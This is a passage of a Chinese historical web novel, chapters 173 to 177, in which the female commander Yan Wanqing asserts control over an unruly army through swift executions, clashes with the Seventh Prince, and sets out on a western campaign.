燕晚清捏着长剑朝着贼眉鼠眼走过去。 吓得他连滚带爬的在地上倒退:“我可警告你,我舅舅在军营里那可是这个!你要是对我下手,我舅舅饶不了你的!” “你舅舅?”燕晚清勾唇:“是谁。” 她倒是不知道父兄们不过在雁门关半载,京都这群蛀虫就已经军队变成了现在这副鬼样子! 燕晚清眼里闪过戾气,吓坏了贼眉鼠眼。 他退到了角落里,手刚好摸到了一个木棍,他想都没有想便朝着燕晚清打了过去。 燕晚清险险避开。 贼眉鼠眼趁机爬起来跑到了远处。 他用力踹开一扇店铺的门,看着不断逼近的燕晚清,贼眉鼠眼想都没有想,将角落里的小孩儿给拽了出来,用匕首抵住了小孩儿的脖子,恐吓道:“你再过来,我就杀了他!” 小孩儿被吓得瑟瑟发抖,放声大哭起来。 贼眉鼠眼被吵得耳朵疼:“闭嘴!” 这是个小女孩儿。 哪里经得起这般恐吓,吓得浑身都颤抖起来,好不可怜。 燕晚清强忍着心中的怒气:“放开她,我饶你不死。” “你说的话我不信,你说你到底是谁。”贼眉鼠眼知道燕晚清武功高强,此刻的他死死的勒着小女儿的脖子,恐惧让他顾不得其他任何的东西。 “我最后说一遍,放开她,饶你不死。”说这话的时候,燕晚清已经眯起了双眼。 那贼眉鼠眼见周身气氛不对,恐惧让他不断用力收缩自己的手臂,小女孩儿被掐的已经开始翻白眼,可能下一秒随时都会窒息! 铮! 长剑出鞘! 无人看得清楚她是如何出手的,只不过长剑回到剑鞘的瞬间,贼眉鼠眼双目圆瞪,然后直接栽在了地上。 燕晚清将其尸体踹倒了一边,抱着小女儿送回了店铺。 “你,你竟然杀了他!”壮汉看着燕晚清真的杀人了,不敢相信:“朝廷不会放过你的!” “是么?”燕晚清超前走了两步:“刚好我也没有打算放过你们。” “朝廷每年给你们发那么多的俸禄,就是希望你们有朝一日能够保护百姓,可是你们呢?”她冷笑:“你们鱼肉百姓,成了给他们痛苦的施暴者,你们和那些蛮族畜生又有何区别?!” “这件事情与你又有何关系——”壮汉上一秒还在叫嚣,下一秒看见了燕晚清手里的令牌,随即和其他几个人一起瘫软在了地上。 “帅,帅印!” 几人话都说不完整了。 “他,他是——” 燕晚清居高临下的扫了他们一眼:“把他的尸体抬着,跟在我的身后。”将帅印收起来,燕晚清敲了敲辣子店的门,从老妇人那里取走的包袱,又从怀中掏出了银钱。 “这里是一些银两,作为补偿。”她没有给老妇人拒绝的机会,直接转身离开。 在她的身后是几个面如菜色的士兵,他们抬着贼眉鼠眼的尸体,亦步亦趋的跟在了燕晚清的身后。 军营。 眼看着日落西斜,即将出发。 萧鸿深已经早早的在营帐中等候。 “安平郡主还没有到?”他喝着茶水问道。 一个瘦削的将领点点头:“还没看到人。”他眼睛在眼眶中打转:“这郡主要是迟到了,这可说不过去啊,将士们本就心中不服。” “常千户,你可不要太过于苛刻,安平郡主是女儿家,出门少不了要梳洗打扮的,耽搁一会儿也是正常的。”旁边一个稍微壮硕的将军说道。 “哎,张副将可不要忘记了,郡主今日临走的时候可说了,让我们日落就出征,违令者斩立决啊。”常千户说道。 两个人一唱一和的抹黑着燕晚清。 萧鸿深听着他们说话,面色如常。 眼看着时间就要到了。 此时外面突然跑过来一个小将:“不好了,副将,您的侄儿死了!” “什么?!”张副将大发雷霆:“这是怎么一回事。” 小将指着外面:“来,来了个人。” “出去看看。”萧鸿深放下了茶盏。 众人走到了营帐外面。 此时贼眉鼠眼的尸体就被放在了地上,燕晚清站在不远处,周围围了一圈的士兵。 张副将黑着脸挤开人群走到了里面。 一看见那地上的尸体,瞬间怒火被点燃。 “谁,谁干的!” 壮汉几人跪在地上,齐刷刷的看向了燕晚清。 张副将看着燕晚清是一张十分陌生的面容,他冷笑道:“什么仇什么怨?你敢当街杀人!” “我道是谁,原来是你啊。”燕晚清一看见张副将出现,心中了然:“张峰,几年不见,你依然长了一张该死的脸。” “口出狂言!”张副将雷霆大怒,大步向前朝着燕晚清走去,眼看着要动手。 燕晚清将帅印从怀中掏了出来。 张峰愣在了原地。 “怎么?不认识你爹了?!”燕晚清轻蔑的说道。 第一百七十三章 女子从军,荒唐可笑 张峰愣了一下。 声音有点耳熟,但是面前这个脸上带疤痕的少年,确实没有见过。 此时他手里捏着帅印。 莫非? 张峰心中不安。 燕晚清冷笑一声:“你这个猪脑子,这么多年了,还是一点长进都没有,就算是忘了我的声音,你应该认得出这帅印。” “你,你是!”张峰目瞪口呆。 燕晚清嫌弃的摇了摇头:“真不知道这么些年过去了,你是怎么当上这个副将的?” 张峰后面的常千户皱着眉头,实在没眼看:“这位就是安平郡主,我们的统帅啊。” 当年燕晚清还在军营的时候,那张峰不过是个最下等的士兵,脑子也不清不楚的,偏偏人还又蠢又坏。 他向来瞧不起燕晚清是个女儿身,每次都给她使绊子。 哪怕她是张峰的上级,张峰也依然我行我素,一开始燕晚清还宽宏大度选择无视。 但是后面几次三番的招惹她之后,忍无可忍,便无需再忍,燕晚清气急败坏把他绑在树桩之上狠狠的抽了一顿。 从那之后,张峰见到燕晚清就老实了很多。 难怪那贼眉鼠眼如此蔫坏,原来是张峰的侄子。 这也就不奇怪了。 “这几个人,私自外出,掠夺百姓还企图强抢民女,拖下去按军规处置。”燕晚清指着跪在地上的几个人说道。 按军规,这几个当立刻处死! “饶命啊郡主!”壮汉现在人傻了,眼泪从眼眶中溢出。 燕晚清扫了他一眼,冷冰冰的说道:“在军营里,你们得喊我燕帅。” “燕帅饶命啊燕帅!” 燕晚清摆摆手:“拖下去。” 没人动。 所有的将士都站在原地,没有一个人动的。 站在人群后方的萧鸿深见状,轻蔑勾唇笑了笑。 这军中可不是宫内,不是谁的官衔大就能够呼风唤雨的。 在军中,得有威严,得让这群士兵打心眼里服你才行。 这样人家才愿意听你的命令,愿意把你的话当回事。 像燕晚清这样,上来就甩自己帅印的,这些大字都不识几个的士兵能把你当回事才有鬼了。 萧鸿深不打算开口,他要看看燕晚清要如何处理这种情况。 这些年过去了,外面传的神乎其神的女诸葛燕晚清,究竟还有几分本事在身上,相信军中很多人都想趁这个机会看清楚。 “呵呵。”燕晚清低低笑了一声:“有意思。” 她伸出手将自己脸上的人皮面具给扯了下来,露出清绝的面容。 这张脸一露出来,不少人就愣了一下。 时光荏苒,记忆中那个骑在马背上的少年小将手持红缨枪的画面赫然映入了脑海。 这么多年没见了,小将褪去了铁甲,一声朴素纤细,俨然已经长成了和记忆中有出入的模样。 他们愣神的功夫,只听见。 “既然如此,我只能亲自动手了。”话音刚落,只看见她手里的长剑猛然出鞘,带着肃杀的剑气,长剑发出铮铮的响声,它对于鲜血的渴望可远远不是刚刚一个人就可以喂饱的。 长剑在空中变幻出残影,几乎没有人能看清楚她是怎么运作的,只感觉到蚀骨冰冷的剑意,只一刹那,那地上的几个人就猛然瞪大了眼睛,然后捂住了脖子! 此时那平平无奇的长剑已经被燕晚清收回了剑鞘。 几个士兵轰然倒地,鲜血瞬间染红了这一块土地。 寂静。 死一般的寂静。 人群后方的萧鸿深猛然瞪大了眼睛。 燕晚清她不是…… “同样的话我最后再说一次,把他们拖下去,不然本帅不介意上阵之前亲自清理一下不听话的兵!”燕晚清森冷的声音,不大,但是却响彻到在场的每一个人的耳朵里。 这回终于有人动了,最先动手的就是那个常千户,他面色苍白,咽了咽口水:“快点把这些人拖下去。” 见尸体终于被拖下去之后,常千户谄媚的走到了燕晚清身边:“燕帅,时候不早了,咱们是不是稍作整顿,马上就出发啊?” 燕晚清看了他一眼,似笑非笑:“急什么?这延误军机的人不是还没有处理结束么。” “啊?不是已经……”常千户猛地收声。 只见燕晚清走到了张峰面前。 “他们几人都是你的部下。”语气已经是笃定。 张峰额头上的汗水慢慢顺着面颊往下淌。 燕晚清冷笑:“谁给你的胆子?区区一个副将,就敢纵容手底下的人中饱私囊私自外出。张峰,你自己说,该如何罚你!” 张峰看着燕晚清的面容。 这个比自己小十岁的女娃娃。 脸上已经再无昔日的稚嫩与张扬,更多的是沉稳,这些年过去了,她越发的像她的父亲了。 尤其是这一双眼睛。 张峰仿佛一下子回到了八年前。 他被燕晚清绑在树上打了一顿之后,心里十分不服气,便偷偷的埋伏在燕晚清回去的路上,打算狠狠的给她一个教训。 但是还没有动手,就被人给绑了起来,送到了军营的最中心的位置,将军的帐篷里。 那是他第一次这么近距离的见镇国公。 他一身软甲,胡子拉碴,可是双眼却亮的出奇。 镇国公当时正在用膳,文质彬彬却直接吃着带血的羊牛肉,匕首像是长了眼睛是的在在那羊羔子上面切着肉片。 “她打了你你不服是么?”镇国公当时这么问他。 张峰自然是不服:“女子从军本就不合理,只会让军心涣散,让别国嗤笑!将军糊涂!” “哈哈哈哈!”镇国公放下了匕首,他吐掉了嘴里的嚼不烂的肉筋:“好一个糊涂,说得好。” 镇国公看着张峰笑道:“那按照你的说话,本将军应该如何做?” “自然是将女子驱除军营,这里根本不需要女子!烧火的都是男子,她们留在这里有何用?”张峰来了劲说道,其实他不敢说,军营里女子只有一个用处,可那燕晚清别说年纪小,更是镇国公的嫡长女,张峰就算是有是个脑袋也不敢说出心里的真实想法。 他是蠢,但是还没有到没救的地步。 这种事情,在心里偷偷想想就好。 听到他的话后,镇国公彻底不吃饭了,他摆了摆手,旁边的少年便端着盘子下去了。 张峰跪在了地上,身后的帐篷帘子被放了下来,挡住了外面的日头。 帐篷里的炭火烧的噼里啪啦的作响。 诸位上的镇国公就这么盯着他,目光看似柔和,却多了几分血腥的味道。 “本将军问你,你可上阵杀过敌?” 第一百七十四章 你死了,他都不肯放过你 张峰点点头:“在座的男子,哪个没有上过战场杀过敌,哪怕是拿着烧火棍也是跟敌人搏斗过的。” “好好好。”镇国公点点头,又继续问:“那你至今为止,上过几次战场,杀过几个敌人?一场下来最多又能杀几人?可有军功在身上?” 张峰被问懵了。 他张了张嘴,憋得脸通红,一时之间没有能够回答的上来。 他本就是罪臣后代的出身,受够了下等人的日子,才赌气参军,可是到了战场之后,他发现生死面前,自己的那一腔热血根本就是很可笑的存在。 所以每次上战场之后他都是躲在后面。 遇到倒在自己面前的敌人,他才会抄着自己的武器上去给敌人补一下,让其致死。 若真是真刀真枪的去干,张峰还真的没有去试过。 所以镇国公这么问他的时候,张峰心里慌了。 脑海里闪过了很多的念头。 是不是自己怯懦的表现被哪个不要脸嘴碎的小人告诉了镇国公。 “回答不上来吗?”镇国公又问道。 张峰嘴唇抖动,他不敢说话了。 见状,镇国公冷笑一声,猛地拍了一下桌子。 “连杀过几人都不敢说,也没有立过军功,平日里更是小偷小摸,偷摸打滚,不是和这个打架就是和那个闹事!就你,也敢自称自己是男儿?!” 镇国公视线从他的脸上下移落在了某处,意有所指:“在战场上,不是长了那个东西就能称作是保家卫国的男儿,更不是长了那个东西,就可以把其他人不放在眼,把自己当做英雄的!” “张峰,你好大的胆子!”镇国公怒斥道。 “抛开燕晚清是本将军的女儿不说,你可知上一场仗,她杀了几何人?” 张峰摇了摇头。 他躲在后面,怎么会知道前面是什么情景。 只知道后来打了胜仗,自己又能够苟活一日而已。 镇国公见他那个怯懦的样子,冷笑道:“百人不止!光是峡谷那一仗,她自己冲锋陷阵,孤身诱敌深入,就已经是百人有余!是你这辈子都杀不到的人!” “一场便是百人,她跟着本将军身边已经好几年了,对整个大渭做出的贡献,你又知几何?” “卑劣之人,尔敢躲在暗处对她不利!” 张峰被这一声怒斥吓得直接下身溢出了不明液体。 那股子闷骚的味道在营帐里迅速弥漫。 镇国公不为所动,他此生杀多了贼寇,见多了肠子脑花四处乱窜的情景,眼下只不过是被自己吓得尿了裤子而已。 “这就吓尿了?呵呵。”镇国公冷笑道。 张峰跪在地上疯狂求饶:“求将军饶命,小的不敢了!” “放心,本将军不杀你。”镇国公摩搓着手指上的老茧,慢条斯理的语气仿佛将人架在火上烤:“她不杀你,那么本将军也不会对你动手。” 张峰脑瓜子嗡嗡作响,根本不知道自己是怎么出去的。 直到离开的时候,记得那个出去送盘子的少年回到了营帐。 “将军,您将他吓坏了。” “哼,他躲在暗处想要害你妹妹性命,本将军也不过是小施惩戒而已,没缺胳膊没缺腿的,这不好好的走出去了么。” 身后是少年的笑声:“妹妹心胸实在是宽广,倘若是放在儿子身上,定是要将他直接千刀万剐的。” “好了好了,快来看看这图纸,马上又要开战了……” 张峰听着身后的父子对话,只觉得脊梁骨发凉。 镇国公和他的嫡长子从来都是对外笑盈盈,但是出手狠辣,战场上杀人不眨眼。 每次那燕黎安都是浑身是血的回来,谁看着都会吓得毛骨悚然。 张峰越跑越快,直到跑到了远离主营帐老远,他才摸了摸自己的脖子。 从那之后,他彻底收敛自己的心思,努力在军营里当一个不起眼的存在。 …… “耳朵聋了?”面前的女子眯着眼睛盯着自己。 张峰一下子被拉回了现实。 燕晚清! 燕晚清子承父志回来当大帅了。 张峰咽了咽喉咙里的口水,此刻的他根本不知道应该说什么,面颊上的胡子跟着面部的颤抖疯狂抖动。 燕晚清冷哼一声:“不说话是么?你还是跟之前一样不拿女子当回事,觉得女子就不配当主帅是么?”说话间,她环顾四周,气沉丹田,声音瞬间响彻在整个营地:“本帅知道,在座的很多人都没有把本帅当回事,今日若是让你们心服口服,这场西征的仗也是决计打不明白的。” 不能上下齐心的军队,到哪里都不会打赢战争。 燕晚清走到了张峰的面前,双眸沉静。 “距离咱们出征也不过是一个时辰的时间,以一炷香为限,本帅人在这里接受你们所有人的挑战!” 一炷香为限,挑战? 众人震惊。 燕晚清要在出发之前重振军心?! 这有点难度吧。 看着她那张明艳冷绝的面容,不少人有些跃跃欲试,但是大家都不敢先动,毕竟刚刚燕晚清那一招,还是有点本事的。 “不如就从你开始吧张峰,输了你就自戕,赢了,本帅随你处置。”燕晚清扬起下巴说道。 张峰双拳微微攥紧。 “凭什么?!” “你不敢?”燕晚清见他不接受,冷嘲热讽。 张峰阴沉着一张脸:“你杀了我的侄儿,眼下还要逼死我,到底是何居心,出征在即,燕帅要玩这种小孩子过家家的把戏么。” “小孩子过家家?”燕晚清在唇齿之间咀嚼这话。 很好,现在的怒气值已经直达天灵盖。 且不说这里军心涣散,兵不像兵,将军不像个将军。 光是他们不服从管教这一点,燕晚清就该从心里知道,这是一只很烂的军队。 皇帝将主帅交给她的目的,显而易见了。 他们燕家从来都是以军纪严明,上下齐心而驰名六国。 建立起名声需要很多年,可是毁掉只需要瞬息。 燕晚清舌尖抵着虎牙,舌尖生疼,却抵不过心中沉痛分毫。 父亲,看见了吗? 这就是你誓死愚忠的皇帝。 你死了他都不肯放过你。 你死了他都还要让你名誉扫地! 第一百七十五章 燕晚清,心胸宽广 张峰将自己绑在了整个军队上,让燕晚清动不了自己。 他犯了军令是实话,可是他们这个军队何曾认真履行过军令? 陛下对他们都是不管不顾。 燕晚清当年再怎么厉害。 那也是五六年之前的事情了。 她现在就是个大门不出二门不迈的女娃娃而已。 “可以出发了燕帅?”张峰见燕晚清被自己气得说不出话,心中得意的紧。 “出发?”燕晚清环顾四周都是一些黑黢黢的面孔,上面带着对未来的迷茫和些许恐惧。 唯独没有一个士兵应该有的服从和热血。 这样一支军队上了战场。 别说是对上别国的正规军队了,哪怕就是一些训练有素的草莽,也能杀的他们溃不成军。 “出发去阎王殿么?”燕晚清冷笑道。 “燕帅身为主帅,可知行军之前最为忌讳这种话!”张峰责怪道:“时间不早了,燕帅还是快些准备准备,该出发了。” 他要自己身上的事情翻篇过去。 反正这里一直都是这种状态。 他张峰废了这么多年的功夫,塞钱送礼的终于当上了副将。 燕晚清和七皇子没来之前,这里他就是数一数二的老大。 凭什么燕晚清过来就要他自戕? 笑死! 他凭什么? 一个女子的命令,他张峰就是不听。 他倒要看看这个燕晚清到底敢不敢在众人面前杀了他,杀了他引起了群怒之后,她这个燕帅又要怎么当! 燕晚清又怎么不会知道张峰心里憋得是什么坏。 她觉得十分可笑。 这么多年过去了。 还是这般又蠢又坏。 没有丝毫的长进。 光长膘不长脑子,是活不了多长时间的。 “今日的事情不解决,就不出发。”燕晚清这话一出,常千户也愣住了。 他赶紧上前劝道:“燕帅,这可不能儿戏啊,粮草已经先行了,倘若不跟着出发,路上遇到了草莽流寇夺走了粮草,这一万大军吃什么,没有了吃的,怎么能够活得下去?” “难道你们去了前线,就一定能够活下去?”燕晚清毫不犹豫的嗤笑道,手里的长剑撑在地上,剑身足足有一米多长,她当拐杖撑着。 “横竖都是活不下去的,不如死在故土,也省的本帅浪费兵力将你们拖回来。” 这话就已然不是大忌,而是十分过分了。 众人中出现了一些嘈杂的声音,仔细听还能听得到谩骂的声音。 燕晚清丝毫没有放在心里。 她看向常千户:“你在军中什么身份?是个面生的。” “回禀燕帅,卑职姓常,在军中是个千户。” “啊常千户。”燕晚清称呼道:“你说,本帅说的话有错么?都是新兵蛋子,从未接受过正规的训练,你们的张副将应该从来没有带过你们练过阵吧,行军打仗的一些要领他自己都搞不清楚,更何况是交给你们了,就你们这样的,上前线除了送死这件事情能做,还能干什么?” “燕帅啊燕帅,这话可不能说啊!”常千户伸出手想要捂住燕晚清的嘴,但是一看见燕晚清的脸,手又不敢放上去了。 他面色仓皇的站在燕晚清身边。 这回可是犯了众怒啊。 果然,士兵们再也忍不住了,纷纷叫嚣起来,没有受过教养的这些粗人,骂的话要多脏有多脏,燕晚清又是个女儿身,有些话根本就不能听。 常千户都担心燕晚清会直接哭出来。 就连人群后面的萧鸿深听着这些话都蹙起了眉头。 他看着那清绝的面容,眼里闪过一丝怒气。 但是很快,被群起而攻之的人动了。 燕晚清看着张峰一副事不关己高高挂起的模样,就知道今日是决计不能只见这一点点血了。 她抚摸着手下的长剑。 “本想到前线再让你吃个饱的,没想到现在就可以了。” 常千户听着燕晚清的喃喃自语,心中闪过一丝不妙的念头。 这燕帅要干什么? 怎么神神叨叨的? 听说她的未婚夫是南疆侯啊,南疆那个地方好像就是有点说不清楚的存在。 这燕帅不会是…… 还没有等他细想,只见一声剑吟,常千户的怀中被丢过来一把剑鞘,再见那长剑从空中划过一道弧度,直奔那张副将而去。 好家伙! 燕帅这是说不过,就直接干啊! 这爆脾气,真不错。 是个当将帅的料。 常千户抱着剑鞘躲得老远,那剑鞘也不轻,他堂堂七尺男儿抱在怀中都觉得十分累。 刚刚燕晚清却舞的风生水起。 足以说明,他们这个新的统帅,虽然是个女儿身,却是有真本事在身上的。 那边张峰看见燕晚清一言不合便直接对着自己出手,他连退三步。 侄儿的尸体还放在边上,那可是姑母亲自送到他手里的晚辈,答应了姑母要好好的照顾的,可是燕晚清却把他杀了! 新仇加旧恨,张峰伸出手大喊道:“把老子的旋风锤给我。” 张峰的手下听到声音,立刻甩过来两个铁锤。 此时那把平平无奇的长剑已经到了张峰的面前,铁锤和长剑瞬间碰撞在了一起,迸裂出火花。 燕晚清那张眉眼清绝的脸在长剑之后,只见她红唇轻轻勾起。 “张峰,你该死。” 这次燕晚清是真的打算要自己的性命了。 张峰根本就不是燕晚清的对手,在她的攻势下,铁锤早就不知道被甩到了哪里去。 众人还以为能够看到了什么世纪对决。 可是战斗还没有开始就已经结束了。 长剑剑尖抵在了张峰的喉间。 张峰吓得面色灰白:“你,你不能杀我!当年你没有杀,现在你也不能杀我!” “什么歪理。”燕晚清根本不知道这张峰到底在胡说八道些什么:“你犯了军规,自然是要处决的,还蓄意挑事,蛊惑军心,桩桩件件,你死一万次都是要的。” 张峰心里只有当年镇国公说的那句话。 燕晚清,心胸宽广。 因为心胸宽广,所以当年才能一而再再而三的容忍他。 张峰猛地跪在了地上。 “燕帅,燕帅饶命啊,燕帅再饶我一次。” “饶你一命?”燕晚清冷笑:“用你的话来说,凭什么?” 张峰还想再说,便听见燕晚清沉声怒斥,夹杂着内力的声音瞬间响彻整个军营。 “不服军规,不论身份高低。”她顿了一下,长剑高高举起:“这,便是下场——!” 话音刚落。 张峰的头滚到了一边! 第一百七十六章 在这里,没有人会惯着你 张峰死了。 剑起剑落,便了结了他可耻的一生。 燕晚清动手的时候眼皮子甚至都没有眨一下。 “张副将——死了!” 过了许久人群中才爆发出声音。 新来的大帅,一剑便将其斩杀,张副将引以为傲的旋风锤甚至在空中都没有来得及抡圆一圈。 新来的大帅,实力不可小觑! 新来的大帅……她是个女的! 一波接着一波的巨大信息,涌入了这群新兵蛋子的脑海中。 很多人都沸腾了。 人都是有慕强心理的,谁越厉害,拥护者就越多。 这很正常。 燕晚清一剑斩杀张副将的画面被很多人刻在了脑海中,可能这辈子都不会忘怀。 他们唏嘘着,不断的用语言回忆着刚刚的那一刻。 而执剑的少女素手一番,那柄平平无奇的长剑便像是长了眼睛一样,回到了剑鞘里。 抱着剑鞘的常千户只觉得怀中一沉,低头再去看,剑已经回来了。 足足一米二的长剑,他抱在怀中尚且显得十分的硕大。 可是刚刚这个长剑的主人,单手劈剑的姿势却不显任何累赘,动作干净利落,没有一点多余的东西。 燕晚清听着周边不断喧嚣的声音,倨傲的眼神却透过人头攒动,直接落在了人群后方的萧鸿深身上。 想看她出丑? 呵……下辈子吧。 萧鸿深与其对视,不禁咬紧了牙关。 比起她一剑斩杀张副将来说,萧鸿深更加震惊的是燕晚清竟然已经恢复了功力。 她不是塞北之后就伤了本体么? 一直在京中修养身体,已经五年多了啊。 这件事情父皇也是知晓的。 究竟是什么时候……燕晚清恢复了自己的武功? 难道她一直都在掩藏自己的真正实力? 萧鸿深越想越觉得是后者。 可是为何她不掩藏的更加久一点,等离开京都再暴露呢?难道她就不怕父皇知道治她一个欺君之罪么。 燕晚清看着萧鸿深五颜六色宛若调色板的面容,唇角勾起露出一抹浅笑。 猜吧,你就猜吧。 “不服军令者,一缕当做叛贼处理,此刻叛贼已杀,本帅刚刚的话依然作数。”燕晚清环顾周身:“有不服本帅者,皆可上前挑战,本帅若是输了,任其处置!” 张副将死之前还有人跃跃欲试。 但是眼下张副将死了。 一招都没有在这个女子手里走过去。 再是怎么大字不识几个的愣头青,也知道生命诚可贵这句话。 嘈杂的军营终于安静了下来。 燕晚清沉着脸一跃而上台子上,她俯视着众人又问了一遍。 依然没有人敢挑战。 她便知道第一步算是成功了。 “既然没有人挑战,那往后都给本帅听仔细了。”燕晚清继续说道:“本帅的话就是军令,违背军令者的下场你们已经看见了,往后不想变成张副将的那样的,就都给本帅把服从指令刻在灵魂深处!” “除此之外,常千户听令!”燕晚清一声令下。 常千户赶紧抱着长剑跑过来:“属下听令!” “在座的所有人负重前行,这柱香燃灭之前,不许给本帅停下来,违令者——”她突然停了下来,露出森然一笑,让人毛骨悚然。 这前有张副将几个尸体,后面还有不知道到底是什么的惩罚,谁敢怠慢?! 常千户咽了咽口水:“燕帅,属下也要跟着跑吗?”他可自始至终都没有怠慢过这位啊。 燕晚清挑眉:“你重复一下本帅刚刚的话,” “在场的所有——”常千户住嘴了:“属下知道了。” 他也躲不掉。 常千户知道,燕晚清其实这是在磨掉这群士兵身上的匪气,让他们知道如何服从军令。 此刻一炷香还有大半,常千户赶紧组织着将士们绕着整个营地开始跑了起来。 燕晚清便坐在台子上,双手环臂远远的眺望着。 旁边的七皇子萧鸿深终于按捺不住了,慢慢踱步了过来。 燕晚清见他过来便没有了好脸色。 刚刚一直躲在后面看戏。 再怎么二人之间有隔阂,也不应该在大是大非上面使绊子,那是小人行径。 燕晚清自小都受父兄熏陶,对于萧鸿深这种品性嗤之以鼻。 “这是生气了?”萧鸿深温柔的笑道。 燕晚清眼皮子不抬,也没吭声理他。 萧鸿深将自己阴柔的面庞凑到了她的跟前:“这次能和郡主一道出征,实在是本殿的荣幸,父皇临走之前嘱咐本殿,一定要和郡主好好学习行军打仗的要领。” “七皇子。”燕晚清突然说道。 萧鸿深露出一抹温柔的笑意:“嗯?” “你要是年纪大了忘记咱们之前发生过的事情,那是你的事情,但是本帅没忘。”燕晚清伸出细长的手指点了点自己的脑袋:“脑子好用就没有办法,习惯性记仇。” “你!”萧鸿深面红耳赤。 他没有想到燕晚清竟然如此不给自己面子。 再怎么说他也是个七皇子,之前对自己温温柔柔客客气气的,怎么现在看见自己就一脸杀意,好像随时要把自己杀了似的。 “你什么你。”燕晚清从椅子上起身站了起来:“不服就憋着,少在外面拿你的身份压人,这里是军营,没有人会惯着你。” 萧鸿深直接被这句话给气得黑了脸。 实在是太记仇了。 这些想法分明是他刚刚在人群后方想的。 这个燕晚清怎么好像是听到他的心声似的。 “燕晚清你不要太过分了,虽然说你是大帅,可本殿身份也不低于你,你要是再这么以权势压人,小心本殿去父皇那边告你。” “告我?”燕晚清像是听到了什么匪夷所思的东西。 萧鸿深抿着唇。 燕晚清继续说道:“从前你喜欢跟我告状,现在喜欢跟你父皇告状了?堂堂一个皇子,什么本事没有,告状的本事炉火纯青。”她将长剑夹在胳肢窝下面,腾出双手拍了拍:“佩服!佩服!” “惟女子与小人难养也!”萧鸿深转过身就走。 话不投机半句多。 再呆在这里,还没有出征,他就要被气死了。 不行。 路上得想个办法,弄死这个女的。 燕晚清看着他离开的背影,眼里的戏谑越发冰凉,最终化为彻骨的杀意。 路途遥远,危险重重,谁知道明天和意外到底哪一个先来到呢? 一炷香终于熄灭了。 常千户大汗淋漓的带着众将士重新在原地规整。 燕晚清站在高台之上,俯视着这绵延百里的一万大军。 骨子里的血液突然就沸腾了起来。 她抬起手,“众将士听令——” 第一百七十七章 图安逸,大可不必跟着我 日落西斜,残阳如血。 燕晚清身披战甲,翻身上马,动作潇洒,于高台之上回首,仿佛看见了父兄朝着自己招手,瞬间她的鼻尖便有些发酸,紧接着热泪充斥了眼眶。 “出征——” 出征二字从她的口中喊出,响彻了整个军营。 …… 燕晚清没有回镇国府,出征的消息传到京都里面的时候,她已经在路上了。 孙青莲带着小七燕子濯站在城墙上远眺,只能看见绵延千里的大军,一眼看不到头。 “母亲,阿姐呢?”燕子濯问道。 孙青莲紧紧地拧着眉头,胸口梗的生疼。 好半饷她才找到了自己的声音。 指着最远在天边的那抹夕阳:“在那里。” 燕子濯站在城墙上眯着眼睛努力的看,看的双眼都是夕阳的余晖,他摇了摇头:“看不到。” “看不到很正常。”孙青莲点了点他的鼻尖。 燕子濯拉着孙青莲的衣角,突然问道:“母亲,阿姐她会回来吗?” 孙青莲将他紧紧地抱在怀中:“会的,你阿姐一定会回来的。” “母亲你不要骗小七。”燕子濯一脸认真:“父亲、大哥三哥四哥他们都是这么说的,可是到最后他们都没有回得来。” 孙青莲重重的点头,然后紧紧的抱住燕子濯,她将燕子濯摁在自己的肩膀上,自己眺望着远方的夕阳,一滴泪顺着眼角无声的滴落下来。 “你要相信你的阿姐,她是战无不胜的战神,她一定会回来的。” …… 西征的这段时间。 常千户总算是将这新来的燕帅的生平事迹给查了个清楚,摸了个明白。 因为她一来就连杀了六人,实在是让人没有办法不记忆犹新。 正好军中也有之前跟着镇国公歇下来的旧部。 这些人因为各种各样的原因,最终又重新出现在了这万人大军里。 常千户端着餐碟,又觉得外面风沙大,特意用布匹给盖在了上面,然后端到了燕晚清坐着的树下。 “燕帅,请。” 燕晚清看了他一眼,掀开了布匹。 上面三菜竟然还有一汤。 她意外的挑眉:“你弄得?” 常千户点了点头:“会一点。” 燕晚清尝了一口汤:“真不错。”她赞扬了一下,看着常千户高兴的样子又说道:“本帅既然也身在军营,当与将士们共进退,没有必要搞这种特殊对待,往后将士们吃什么我吃什么。” 常千户愣了一下。 他因为自己的手艺好,所以服侍过很多将军。 还是头一次看见要和将士们吃那些糟糠野菜的大帅。 还是个女子。 他有些不理解:“大帅为何?这是属下特意做的,也不耽误其他人。” 燕晚清点点头,她端起汤又喝了一口,虽然说是青菜汤,但是常千户却直接将蔬菜的新鲜全部煮进了汤里,一口下去十分的舒畅。 “今日你既然已经做了,便只此一次。”燕晚清说道:“耽不耽误其他人不重要,本帅只是不想搞特权,你应该懂本帅的意思。” 常千户面色突然严肃了起来。 他懂了。 这是一个军心涣散的军队。 燕晚清初来乍到以武力镇压,让众人惧怕臣服,但是西边路途遥远,长此以往下去,终究是不能服众的,她需要的是真正的臣服,发自内心的那种,只有那样的军队,才能做到与主帅一起共进退! 常千户发现自己的心胸还是小了。 将盘子放下离开之后,他转过身就惭愧的不行。 自己竟然还不如一个小女娃娃。 今夜是第一晚。 他们走的快,一路骑行,走到了荒芜之地,所以第一夜便宿在了荒郊野外。 燕晚清吃完了常千户准备的饭菜,便直接翻身上了树冠。 将士们怎么睡她也怎么睡,绝对不会去搞特殊对待。 以前她年纪还小的时候尚且如此,现在年纪大了更应该以身作则。 她不会让燕家人的荣耀毁在自己的身上。 萧鸿深远远的看着那边的情形,冷哼一声,也跟着翻身上了树上。 这件事情上面他绝对不会输给燕晚清。 他会让众将士们看清楚,自己才是那个值得托付的领导者。 燕晚清要的军心,他萧鸿深也要! 夜色深沉,又正值炎炎夏热,蚊虫飞舞。 燕晚清因为有六妹给她准备的香囊放在身上驱逐蚊虫,所以这一觉还睡得比较踏实。 反观七皇子萧鸿深那边就非常不太平了。 他向来细皮嫩肉,非常招惹蚊虫的喜欢,刚刚闭眼便有嗡嗡作响,没过多久已经被蚊子咬了好几个包。 身上也是汗流浃背的,十分的不舒适。 清晨醒过来的时候,萧鸿深脸上也是好几个红点,更加别说身上了。 反观燕晚清依然白白净净,看起来精神抖擞。 她去溪水边用溪水洗了脸,回过头就看见萧鸿深阴魂不散的跟着自己,那模样十分的阴沉。 “大早上的要打架?” 萧鸿深沉着脸直接吩咐她:“去给本殿准备一辆马车。” 燕晚清皱着眉头看他,仿佛这是个十分不合理的要求。 萧鸿深见她不吭声,心里十分不舒服:“不管你怎么弄,反正今晚本殿要睡马车。”丢下这句话之后,他头也不回的走了。 燕晚清翻了个白眼。 马车? 荒郊野岭的她去哪里给他去弄马车?! 这件事情燕晚清很快就抛之脑后了,萧鸿深一路跟着,见她丝毫没有将这件事情放在心上,脸色愈发的不好看了。 等到临近中午停下来修整的时候,常千户忙跑过来跟燕晚清说,萧鸿深离队了。 擅自离队可不是个好兆头。 